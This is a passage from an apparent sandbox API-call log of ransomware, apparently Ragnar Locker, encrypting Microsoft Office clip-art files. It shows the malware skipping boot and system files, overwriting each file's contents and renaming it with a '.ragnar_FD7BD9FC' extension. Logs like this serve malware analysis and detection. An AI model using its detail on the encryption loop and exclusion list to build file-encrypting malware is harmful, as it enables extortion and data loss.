hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.205] VirtualAlloc (lpAddress=0x0, dwSize=0x1028, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.205] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1028, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1028, lpOverlapped=0x0) returned 1 [0084.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1028, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.206] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1028, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1028, lpOverlapped=0x0) returned 1 [0084.206] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1028, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.206] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1028, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.206] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.207] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.207] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.207] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.207] GetProcessHeap () returned 0x580000 [0084.207] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.207] CloseHandle (hObject=0xf4) returned 1 [0084.207] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" [0084.207] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.ragnar_FD7BD9FC" [0084.207] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0084.208] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.208] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107308.WMF" | out: lpString1="J0107308.WMF") returned="J0107308.WMF" [0084.208] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned=".WMF" [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="autorun.inf") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="boot.ini") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="bootfont.bin") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="bootsect.bak") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="bootmgr") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="bootmgr.efi") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="bootmgfw.efi") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="desktop.ini") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="iconcache.db") returned 1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="ntldr") returned -1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="ntuser.dat") returned -1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="ntuser.dat.log") returned -1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="ntuser.ini") returned -1 [0084.208] lstrcmpiW (lpString1="J0107308.WMF", lpString2="thumbs.db") returned -1 [0084.208] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.208] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.208] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.208] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.208] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.208] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.208] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 0x20 [0084.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.209] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15888) returned 1 [0084.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.209] GetProcessHeap () returned 0x580000 [0084.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.209] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.211] VirtualAlloc (lpAddress=0x0, dwSize=0x3e10, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.211] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3e10, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3e10, lpOverlapped=0x0) returned 1 [0084.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.212] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e10, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.212] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3e10, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3e10, lpOverlapped=0x0) returned 1 [0084.212] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.212] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.213] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.213] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.213] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.213] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.213] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.213] GetProcessHeap () returned 0x580000 [0084.213] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.213] CloseHandle (hObject=0xf4) returned 1 [0084.213] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" [0084.213] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.ragnar_FD7BD9FC" [0084.213] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.214] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0084.214] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.214] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107314.WMF" | out: lpString1="J0107314.WMF") returned="J0107314.WMF" [0084.214] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned=".WMF" [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="autorun.inf") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="boot.ini") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="bootfont.bin") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="bootsect.bak") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="bootmgr") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="bootmgr.efi") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="bootmgfw.efi") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="desktop.ini") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="iconcache.db") returned 1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="ntldr") returned -1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="ntuser.dat") returned -1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="ntuser.dat.log") returned -1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="ntuser.ini") returned -1 [0084.214] lstrcmpiW (lpString1="J0107314.WMF", lpString2="thumbs.db") returned -1 [0084.214] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.214] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.214] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.214] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.215] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.215] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.215] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20 [0084.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.215] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10852) returned 1 [0084.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.215] GetProcessHeap () returned 0x580000 [0084.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.215] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2a64, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.217] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a64, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a64, lpOverlapped=0x0) returned 1 [0084.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.218] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a64, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.218] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a64, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a64, lpOverlapped=0x0) returned 1 [0084.218] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.218] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.218] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.219] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.219] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.219] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.219] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.219] GetProcessHeap () returned 0x580000 [0084.219] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.219] CloseHandle (hObject=0xf4) returned 1 [0084.219] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" [0084.219] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.ragnar_FD7BD9FC" [0084.219] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.220] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0084.220] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.220] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107316.WMF" | out: lpString1="J0107316.WMF") returned="J0107316.WMF" [0084.220] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned=".WMF" [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="autorun.inf") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="boot.ini") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="bootfont.bin") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="bootsect.bak") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="bootmgr") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="bootmgr.efi") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="bootmgfw.efi") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="desktop.ini") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="iconcache.db") returned 1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="ntldr") returned -1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="ntuser.dat") returned -1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="ntuser.dat.log") returned -1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="ntuser.ini") returned -1 [0084.220] lstrcmpiW (lpString1="J0107316.WMF", lpString2="thumbs.db") returned -1 [0084.220] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.220] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.220] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.220] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.220] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.220] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.220] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20 [0084.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.221] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11288) returned 1 [0084.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.221] GetProcessHeap () returned 0x580000 [0084.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.221] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2c18, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.223] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c18, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c18, lpOverlapped=0x0) returned 1 [0084.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 